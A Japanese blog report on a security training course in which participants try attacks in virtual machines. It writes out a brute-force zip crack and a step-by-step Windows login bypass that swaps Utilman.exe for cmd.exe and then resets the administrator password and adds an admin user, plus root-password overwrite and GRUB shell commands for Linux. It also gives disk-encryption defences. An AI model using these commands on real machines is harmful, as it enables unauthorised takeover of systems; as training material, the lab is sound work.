ハッキング(仮想環境)から学ぶセキュリティ実践 研修コースに参加してみた
今回参照した研修コースは ハッキング(仮想環境)で学ぶセキュリティ実践 です。
セキュリティ実践、というフワッとした言葉ですが、実際に攻撃をやってみるコースなのでした。
普段できない、とっても面白い体験ができました。
もちろん、それだけ面白いからこそ、逆に攻撃側の立場にたって考えるので、どこを対策しないといけないのか、それを考えるよいキッカケになりました!
セキュリティ専門部署ではなく、普段、インフラに携わっている方には面白い体験ができるので、とてもオススメです!
では、どんなコースだったのか、レポートします!!
もくじ
コース情報
想定している受講者 |
|
---|---|
受講目標 |
|
講師紹介
インフラと言えば 新谷 泰英 さん です。
どうすれば技術を身につけられるか、理解できるか、研究しつづけるインフラ系の人気トレーナー
新谷さんはいつでも演習環境や演習の進め方など改善の余地がないか、新しいことを探ってらっしゃいます。
今回のコースも普段できないようなアタックをやってみよう、という演習内容で、楽しみながらオフェンスの観点が学べました。
セキュリティ
まずはセキュリティというものが、どんなものなのか、解説です。
- 安全性と利便性のトレードオフ
- 解答はなくバランスしか無い
- セキュリティは鎖のようなもの
- 弱いところがあれば、鎖は切れる
- 弱いところは、だいたい最終的に “人間”
- 攻撃側からすると、一番弱いところから攻撃するのが合理的
- “弱いところから軽くジャブしながら右ストレートを打つ作戦”
- 攻撃の流れ
- 予備調査
- 脆弱性の調査
- 攻撃の試行 (2段階, 3段階にわかれてやる)
- 管理権限を取得
- もっとカンタンに侵入できるようバックドアを作る
- CSIRT (セキュリティ事故対策チーム) がやっていること
- 上記の攻撃対策はもちろんやる
- 起こったときにどう対応するかを決めている
納得、、しかありません。
確かに強そうなところから侵入するより、弱いところを狙って侵入できたほうが、はるかに効率的ですよね。
ちなみに、この攻撃の流れどおりのワームがあり、それがもっとも洗練されたソフトウェアだと評判になっていたことを思い出しました。なお、この記事に書かれていることは実際に起ったことです。(もう映画やドラマの世界)
セキュリティ対策の基本要素
- Accountability
- 責任追跡性とはカンタンに言うとログのこと
- 現在は取得するログが増えているので人間が何とか出来るレベルを超えている
- AIで異常検知するようになってきている
- Authenticity
- よくあるのはパスワードなど
- Reliability
- RAIDやクラスタを組んだり、可用性を高める
- これらを実装したのが下の表
新谷さんから、可用性と信頼性の対策は似ていることを教えてもらいました。
2つの違いをあえていうと信頼性は “壊れにくさ” とのことでした。なるほど。
この表をみていて、個人的には 可用性 <-> 信頼性 に加えて コスト もトレードオフなんだろうなぁ、と感じました。
攻撃してみよう!
では、ここからは実際にアタックする演習ですが、ちょっとだけ攻撃手法のトレンドを解説いただきました。
攻撃手法には流行りがある
- 前年に発生したCPUの脆弱性 SPECTRE (スペクター) と MELTDOWN (メルトダウン)
- サイドエフェクト (副作用のこと)
- ローカルマシンのキャッシュを使った攻撃
- メモリの中身ではなく、メモリにアクセスしている時間を見る
- キャッシュを使って処理をしているのであれば、時間がわかる
- 時間から処理を推測して攻撃する
- このサイドエフェクトから着想して色々な脆弱性が発見された
- 攻撃に流行りがある
- MIRAI DDOS
- 分散DOS攻撃の事例
- GitHubでも公開されているので見たい人はどうぞ
- MIRAI DDOS
- 最新の攻撃手法を知るには
- https://jvm.jp を見ると良いです
- 海外は https://exploit-db.com にまとまってます
このSPECTREについては、完全に防げないとの研究があったこと、また、最近さらに投機的実行に関連した脆弱性が公開されていましたね。
とはいえ投機的実行をキャンセルすると、CPU のパフォーマンスは下がってしまうので、記事にもあったとおり、新たなブレイクスルーが必要なんでしょうが、低レベルのことだけになかなか難しそうな印象があります。。。
パスワード攻撃手法をやってみる
さきほどのSPECTREなどを駆使したアタックは難易度高いやり方ですが、弱いところから攻撃するというのが常道です。
まずはパスワードに対する対策をまとめていただきました。
パスワードの対策
- ユーザが作ったパスワードは Hash で変換することが多い
- Hash化したパスワードは復元しにくい (不可逆性という)
- Hash化したパスワードを取得しても何も出来ない
- 盗まれてもOKな状態にしておく
攻撃手法
- ソーシャルエンジニアリング
- 勘 (ex. 打鍵音) で当てる
- 辞書攻撃 (ディクショナリ攻撃)
- 使われることが多いパスワードを辞書にして試す
- “password dictionary keyword 500” などで検索するとある
- ブルートフォース
- 総当たり (100%突破できるが、時間がかかる)
- アルゴリズムを書き換え高速化したのがレインボーテーブル (Win XPなら3分ぐらいで破れる)
- リスト攻撃
- 何らかのサイトのパスワードリストが取れたなら、それを他のサイトで使う
- とはいえ、パスワードの変更はしなくてよいよ、というお触れも出ている
- 定期変更すると、人間は似通ったパスワードにしてしまうよ、というのが問題
- 短いパスワードを定期変更するより、30文字以上のパスワードをもっておくとよいよ、というのが対策
- [関連記事] 安全なパスワード管理|社員・職員全般の情報セキュリティ対策|企業・組織の対策|国民のための情報セキュリティサイト
演習
新谷さんにご用意いただいた Pika Zip というソフトウェアを使って、zip ファイルのパスワードを解読します。
- 全数タブを選択
- 長さ はデフォルトのまま
- 今回のパスワードは数字のみ
- 対象となる zip の中にあるファイルが選択できるようになっている
- zip の暗号化はファイルの中身だけ
- 鍵ボタンを押すと一瞬で解読 (!!)
- 2.5 GHZ (25億回/秒) ぐらいなので当たり前といえば当たり前
ちなみに文字の種類を変えると、この時間ではまったく終わりませんでした。
そこで新谷さんから補足されたのが、
つまり、一般的な辞書攻撃だけ行って侵入できなければ、他の攻撃方法に移る”
ということでした。
なるほど。攻撃側の心理としてはそうなりますね。
認証回避をやってみる
ということで、攻撃側としてはパスワードでない “弱い鎖” を探します。
そこで次にやるのが、認証そのものをスキップする、というやり方です。
その前に、どこにパスワードが格納されているのか、説明いただきました。
- パスワードの場所
- Windows
- c:\Windows\Sytem32\config\SAM
- ここにHash化されたパスワードが保存されている
- この /SAM にあるファイルを書き換えてしまえ! というやり方もある
- Linux
- /etc/passwd // アカウント
- /etc/shadow // パスワード
- Windows
攻撃方法
Linuxなど別システムをデュアルブートしているWindowsを対象に、Windowsが起動する前、もしくは起動させずに、その別システムからWindowsの補助メニューを書き換えて、乗っ取ってしまうやり方です。
Windows 2012 Server でやってみます。
sudo su
mount /dev/sda2 /mnt/ #sda2 は c:\Windows ディスク
cd /mnt/Windows/System32 #Windowsのディレクトリに移動
mv Utilman.exe Utiltman.exe.org #痕跡を消す
cp cmd.exe utilman.exe #cmd.exe を utilman.exe にコピー
cd /
umount /mnt #ディスクを切り替え
poweroff
ディレクトリでやったことを解説します。
c:\
├ Windows
├ Sytem32
├ Utilmam.exe -> Utilman.exe.org に書き換え
├ cmd.exe -> コピーして別プログラムに
├ Utilman.exe -> cmd.exe をコピー
では、侵入してみます
- Windowsログイン画面で [Windowsキー] + [U] でユーティリティプログラムを開く
- コマンドプロンプト が立ち上がる
- Administrator のパスワードを変更
net user administrator Pa$$w0rd
- 管理者ユーザの追加
net user /add [ユーザ名] [パスワード]
net localgroup /add administrators [ユーザ名]
ログインできちゃいました。。。
対策
仕組み上、防ぐ方法は出来ません。なので、これも盗まれてもよいようにしておきます。
- c:\ HDD を暗号化する (BitLocker)
- つまりディスクは暗号化しましょう
- 重要なことは暗号化する、というのは軽視されがち
- ちゃんと意味がある
- なぜ、そのセキュリティが実装されるのか、理由をちゃんと確認したほうがよい
Linux でもやってみる
もちろん Linux でも出来ます。
date
date | sha256sum # | はパイプ
date | cut -b 1-64 #64文字のランダムなパスワードを生成
date | cut -b 1-64 | passwd --stdin root
管理者 root ユーザのパスワードを書き換えられました。
実際ログインできませんでした。。
コラム
関連して Hash 化の方法について、方式を紹介いただきました。
- Hash のやり方
- MD5
- SHA
- 2 (バージョン)
- 128
- 256 (bit数)
- 512
- 2 (バージョン)
Linux の認証回避
攻撃されてログインできなかったら、どう回避するのか、今度はその回復手順です。
- CentOS7 の場合
- 起動時にブートローダーを選ぶ // [↑]を押すのがセーフティ
- メンテナンスモードに切り替え
- CentOS 7 以上の場合、レスキューモードを選択するとパスワード入力が求められる
- e を入力
- rhgb と LANG=ja_JP.UTF-8 を削除して、
rw init=/bin/sh
を追加 - [CTRL]+[x]で入力
sh-4.2#
が立ち上がるので、passwd
から変更
- 起動時にブートローダーを選ぶ // [↑]を押すのがセーフティ
最後に新谷さんからこのコースをまとめていただき、修了しました。
- コンピュータさえ手に入ってしまえば、こういった手法でログインできる
- パスワードの暗号化でも防げない
- 入室をセキュアにする、施錠するなど物理的に対策することも重要
- HDDの暗号化
- Linux なら LUKS や Windows なら BitLocker などでやっておく
- とにかく弱い鎖と、その対策とその意味をしっておきましょう
まとめ
このコースでは攻撃側はセキュリティの弱いところをつく、ということを学んだ上で、実際にその弱いところへ仮想的に攻撃してみました。
単純にリアルなところではやりにくいので、とても面白い体験だったのと、面白かったゆえに重要さに気付かされるものでした。
また、個人的には攻撃側に立って考えることがなかったので、とてもよいキッカケになりました。攻撃側は弱そうなところをつけばよいので、防御する側のほうが、はるかに難しいですね。
面白い体験をしながら、セキュリティを考えるキッカケになるコースだったので、CSIRTのようなセキュリティ専門部署の方ではなく、普段、サーバ構築や運用保守に携わっている方にオススメしたいコースでした!
label SE カレッジの無料見学、資料請求などお問い合わせはこちらから!!
label SEカレッジを詳しく知りたいという方はこちらから !!
SEプラスにしかないコンテンツや、研修サービスの運営情報を発信しています。